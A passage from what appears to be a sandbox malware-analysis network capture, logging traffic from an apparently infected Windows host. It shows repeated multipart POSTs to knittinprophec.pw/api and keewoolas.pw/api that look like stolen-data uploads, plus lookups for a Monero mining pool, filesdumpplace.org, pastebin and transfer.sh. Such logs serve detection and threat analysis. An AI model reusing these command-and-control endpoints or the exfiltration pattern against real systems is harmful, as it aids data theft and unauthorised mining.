Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=omwfYA2mjS0KivKtP44rKU8qH08HVGRFXpLUVbtcJkV5r%2FKOuPLRpB6pA%2FkfMAciPl2mvAGJ8uS5Rw8tYRviw%2FmXPJ%2FONHzAJiSXjMTiBwgERt0QtmnFyT58KnFH0J7alSb7TA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a29abc9b8e4-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:32 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=rmh7f83fp41legcv54hm5t2l42; expires=Tue, 12 Mar 2024 09:54:11 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:32 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wQvIMFlq5iiAOcF1VL4t6kjOXF9Sdj9pBOC40u24HrGgdznuKL6w2kWx5t6ImABR5qIEPx8d%2B0L4ODBFGGjwkjgq6L3QASrlGML%2F1bvUPpxgBreZ85PbYo5D2y16jZ9gCSxbFg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a2cd99c6702-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:33 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=486172edlfmv9946vq4obmscud; expires=Tue, 12 Mar 2024 09:54:12 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:33 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sSDO%2Fw4uWHZthPKRb96WIPiXzcIFMOtHzJNQaAVyUnnlpbUaND3exTyDBhPUeeoR%2BWHHh33fH3Vbv6DjEXOwwhv%2B03iegBP4xxd0KUI3Y0vDnKHqMRV9RSBvt4fCgZnRn86Btg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a3089f60e5c-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 963
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:34 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=j9hjedg52q3lb2rnlcch05g6ed; expires=Tue, 12 Mar 2024 09:54:13 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:34 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UqaUs0Nw%2BSVhCIkTsZEsa3qDaulWyLONNiEXpNOiSX1SJvIImekM%2FNRfaPkL5IQS3Etxf%2BCbVrAtBZRkn7sa%2BuRpxRY4J9xZf4OLv8mHSpR%2FfxcamKzE7mNBoC4IYakUtyHCBA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a351e5c6646-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 191553
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:37 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=urhf71h40ttiblg37k8rbhtm7b; expires=Tue, 12 Mar 2024 09:54:15 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:36 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GnzerByLdhd6JYBbH8o0fHcD6x2%2FHqNbzi2zmkDjPAXG9NMlUnOlCWpZL5vF7pzrS4D5DjIg7isvbH6v7sfxVgxZNwhzkc%2FTPqhUV7VM3Ia7f51cEdd6ZWX3AEwjFytetX1tmg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a3a8f23b98f-AMS
-
DNS8a202e98-6662-4b45-82d3-a54220c1a288.uuid.filesdumpplace.orgRemote address:8.8.8.8:53Request8a202e98-6662-4b45-82d3-a54220c1a288.uuid.filesdumpplace.orgIN TXTResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 1523
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:37 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=bt0k6l6s8qdah9c99t995q4r4s; expires=Tue, 12 Mar 2024 09:54:16 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:37 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4DPbtjFJ5GDLZ8kWw5gIteHz9%2FirgaLMhsb8PTJ5NW1ZZtcCRNcJoHNsjoV9tkbD5YMGOwvAm8PGnSbP%2BVMKULaJRmcHOXNwsZKqLF8FgdWIxw2ky6l0G%2BMAoqdOZkTqh8RJtQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a4a4d336693-AMS
-
DNS219.118.33.45.in-addr.arpaRemote address:8.8.8.8:53Request219.118.33.45.in-addr.arpaIN PTRResponse219.118.33.45.in-addr.arpaIN PTR45-33-118-219iplinodeusercontentcom
-
DNS2no.coRemote address:8.8.8.8:53Request2no.coIN AResponse2no.coIN A104.21.79.2292no.coIN A172.67.149.76
-
GEThttp://www.google.com/Remote address:142.251.39.100:80RequestGET / HTTP/1.1
User-Agent: Disney
Host: www.google.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:44 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-Q0VjLMD4O_-_CqXZDzihIg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Server: gws
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2023-11-17-16; expires=Sun, 17-Dec-2023 16:07:44 GMT; path=/; domain=.google.com; Secure
Set-Cookie: AEC=Ackid1SD9nxXhelU6AyLfFsCJNf8B9upmxiR4XTi3O7OXVgPs1607cujwk4; expires=Wed, 15-May-2024 16:07:44 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax
Set-Cookie: NID=511=iZ4Fj_SQCi2kxBhEJRd4xYUwEIdNylnb2rz_C_KsUg5W8bmCy1rRc3dtoDhGYUERu6hwOxwu2VMBFHubqwGcaL4zfpX5r8XmMRKZxp_BJ4aEMhX-FwpBxB8XDjrYi17BNw6-uGaEFCbsc_Sdc-kDIRI6i893F2g5l7W3sHhds3Y; expires=Sat, 18-May-2024 16:07:44 GMT; path=/; domain=.google.com; HttpOnly
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
-
DNS229.79.21.104.in-addr.arpaRemote address:8.8.8.8:53Request229.79.21.104.in-addr.arpaIN PTRResponse
-
DNS35.36.251.142.in-addr.arpaRemote address:8.8.8.8:53Request35.36.251.142.in-addr.arpaIN PTRResponse35.36.251.142.in-addr.arpaIN PTRams17s12-in-f31e100net
-
DNSjTKrwQUFbloAgdx.jTKrwQUFbloAgdxRemote address:8.8.8.8:53RequestjTKrwQUFbloAgdx.jTKrwQUFbloAgdxIN AResponse
-
DNS100.39.251.142.in-addr.arpaRemote address:8.8.8.8:53Request100.39.251.142.in-addr.arpaIN PTRResponse100.39.251.142.in-addr.arpaIN PTRams15s48-in-f41e100net
-
DNStse1.mm.bing.netRemote address:8.8.8.8:53Requesttse1.mm.bing.netIN AResponsetse1.mm.bing.netIN CNAMEmm-mm.bing.net.trafficmanager.netmm-mm.bing.net.trafficmanager.netIN CNAMEdual-a-0001.a-msedge.netdual-a-0001.a-msedge.netIN A204.79.197.200dual-a-0001.a-msedge.netIN A13.107.21.200
-
DNS247.247.92.91.in-addr.arpaRemote address:8.8.8.8:53Request247.247.92.91.in-addr.arpaIN PTRResponse
-
DNSserver7.filesdumpplace.orgRemote address:8.8.8.8:53Requestserver7.filesdumpplace.orgIN AResponseserver7.filesdumpplace.orgIN A185.82.216.96
-
DNSstun1.l.google.comRemote address:8.8.8.8:53Requeststun1.l.google.comIN AResponsestun1.l.google.comIN A64.233.164.127
-
DNSwalkinglate.comRemote address:8.8.8.8:53Requestwalkinglate.comIN AResponsewalkinglate.comIN A188.114.97.0walkinglate.comIN A188.114.96.0
-
DNS127.164.233.64.in-addr.arpaRemote address:8.8.8.8:53Request127.164.233.64.in-addr.arpaIN PTRResponse127.164.233.64.in-addr.arpaIN PTRlf-in-f1271e100net
-
DNS96.216.82.185.in-addr.arpaRemote address:8.8.8.8:53Request96.216.82.185.in-addr.arpaIN PTRResponse96.216.82.185.in-addr.arpaIN PTRdedic-mariadebommarez-1201693hosted-by-itldccom
-
DNS0.97.114.188.in-addr.arpaRemote address:8.8.8.8:53Request0.97.114.188.in-addr.arpaIN PTRResponse
-
DNS16.205.10.195.in-addr.arpaRemote address:8.8.8.8:53Request16.205.10.195.in-addr.arpaIN PTRResponse
-
DNS182.118.218.193.in-addr.arpaRemote address:8.8.8.8:53Request182.118.218.193.in-addr.arpaIN PTRResponse182.118.218.193.in-addr.arpaIN PTR182118218193urdncomua
-
DNS65.226.215.181.in-addr.arpaRemote address:8.8.8.8:53Request65.226.215.181.in-addr.arpaIN PTRResponse
-
DNS118.55.229.46.in-addr.arpaRemote address:8.8.8.8:53Request118.55.229.46.in-addr.arpaIN PTRResponse118.55.229.46.in-addr.arpaIN PTR1185522946vikhostcom
-
DNSxmr-eu1.nanopool.orgRemote address:8.8.8.8:53Requestxmr-eu1.nanopool.orgIN AResponsexmr-eu1.nanopool.orgIN A163.172.154.142xmr-eu1.nanopool.orgIN A212.47.253.124xmr-eu1.nanopool.orgIN A51.15.193.130xmr-eu1.nanopool.orgIN A51.68.143.81xmr-eu1.nanopool.orgIN A51.15.65.182xmr-eu1.nanopool.orgIN A51.255.34.118xmr-eu1.nanopool.orgIN A135.125.238.108xmr-eu1.nanopool.orgIN A51.15.58.224xmr-eu1.nanopool.orgIN A51.68.190.80
-
DNSserver7.filesdumpplace.orgRemote address:8.8.8.8:53Requestserver7.filesdumpplace.orgIN AResponseserver7.filesdumpplace.orgIN A185.82.216.96
-
DNS130.193.15.51.in-addr.arpaRemote address:8.8.8.8:53Request130.193.15.51.in-addr.arpaIN PTRResponse130.193.15.51.in-addr.arpaIN PTR130-193-15-51 instancesscwcloud
-
DNSpastebin.comRemote address:8.8.8.8:53Requestpastebin.comIN AResponsepastebin.comIN A172.67.34.170pastebin.comIN A104.20.68.143pastebin.comIN A104.20.67.143
-
DNS170.34.67.172.in-addr.arpaRemote address:8.8.8.8:53Request170.34.67.172.in-addr.arpaIN PTRResponse
-
DNS81.143.68.51.in-addr.arpaRemote address:8.8.8.8:53Request81.143.68.51.in-addr.arpaIN PTRResponse81.143.68.51.in-addr.arpaIN PTRvps-1277fdb0vpsovhnet
-
DNS15.173.189.20.in-addr.arpaRemote address:8.8.8.8:53Request15.173.189.20.in-addr.arpaIN PTRResponse
-
DNSkeewoolas.pwRemote address:8.8.8.8:53Requestkeewoolas.pwIN AResponsekeewoolas.pwIN A172.67.219.233keewoolas.pwIN A104.21.24.188
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 8
Host: keewoolas.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eeWejXgOUox%2FFDrRnfLdKVDsOnZLyX1Fainfqq45eCpKPlSuu6aClzPCfB2DqJtBvYp%2FXlaomQJ1Ll1U05F%2BQ4YuOlQCPjXWP7t5XIfe14IwOTMnH1C9iOMSf1lnqvU%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b319b6966a4-AMS
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: keewoolas.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=hcp9v8famhh00dha8rf159l1m4; expires=Tue, 12 Mar 2024 09:54:54 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:08:15 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FAtGBtgSN60i1CUApE9LbdYXuHGEvmESHorOua4Z7GLyQAOYB1sRQsyR93ZJIULHS63OEc3yEyJQG2r3Xz9aBLQuSCbUWx7TZZlI5IfpuMiv7Tat8Xx%2B5inCY%2FxdAPU%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b35882866a4-AMS
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Host: keewoolas.pw
Content-Length: 47
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=gm4cmhlk0g6qpmegdipj8llmp1; expires=Tue, 12 Mar 2024 09:54:53 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:08:14 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Do8WeAGFdfjZwCnubdDhvZwTZ63%2BGSm3k5yPQOcSiG0zlAQVJUlrQqvqb6p0LgzEeBk%2FddDvTZ2u5FpWF%2FhAulQPj%2BXIPRNKNOHRXU9rl5b46x0qA%2ByuL8ZbFFlEcho%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b31f86d0eaa-AMS
-
DNStransfer.shRemote address:8.8.8.8:53Requesttransfer.shIN AResponsetransfer.shIN A144.76.136.153
-
DNS233.219.67.172.in-addr.arpaRemote address:8.8.8.8:53Request233.219.67.172.in-addr.arpaIN PTRResponse
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: keewoolas.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=cv8rvqpfvnh2ilpk7aj243ut8k; expires=Tue, 12 Mar 2024 09:54:54 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:08:15 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=adC%2Bu712y1n0adGFl2CpchdQMI0AAQiVRphyix7vHVQSXv1mWHzbh%2BUTuwq4wLP8bZxM%2FCQwv4csh6iUFnyYYj1csKg%2FF9mB%2F9RfwJ3qB7UkhUV1oQ0NaIKgHKvL4Yg%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b38fdde65f3-AMS
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: keewoolas.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5g54pppat8qmdoleenppjpu5ab; expires=Tue, 12 Mar 2024 09:54:55 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:08:16 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dVpBpVkbx7hCsHH43wq0k%2BTMFuzThNjuWx83n4de3x2LZKXVWBxPaG7oPC%2B3jPDhfTKzTVcFNSGowofzUBwqLGyJ7dayfD%2FY2fyw9Sfohh8%2ByP7i7uNgdpfr2duZ4Gk%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b3c696f1c89-AMS
-
DNS153.136.76.144.in-addr.arpaRemote address:8.8.8.8:53Request153.136.76.144.in-addr.arpaIN PTRResponse153.136.76.144.in-addr.arpaIN PTRtransfersh
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: keewoolas.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=tohche3i55hrr1dfo2vsn8uv44; expires=Tue, 12 Mar 2024 09:54:55 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:08:16 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lkJveaMC2PaYZqfjJW5sPp4uAblYdm1r5DO5jpfxhbKnP2OwnAInE%2BkWBatP%2FPx1gY6CsHOSmY%2FCgCB1Yk6FaklaNfbdAgtQn98ud312yZ3sjiY4RwVwJGD0jWuYo6M%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b3fdb1b6710-AMS
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: keewoolas.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:08:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5djgki1tcti8f4bqkb3f37qpm3; expires=Tue, 12 Mar 2024 09:54:56 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:08:17 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LwUsu34qW4TY9AcNOITJMxSI6NZYtKGznTbAouQpTCfwnj3DaHH6L00qCIelH2IJJZDd1055Ob8N3vywdJYA0mbKTMZ8MsBH6yxegv4qLyMyRPfARXCyRSKUrMEMXKw%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793b43cc15416c-AMS
-
POSThttp://keewoolas.pw/apiRemote address:172.67.219.233:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
Cookie: __cf_mw_byp=RD6EDNXm0q8Dtg80WUbH.owAo5asj7nPQErmoLMdjGk-1700237294-0-/api
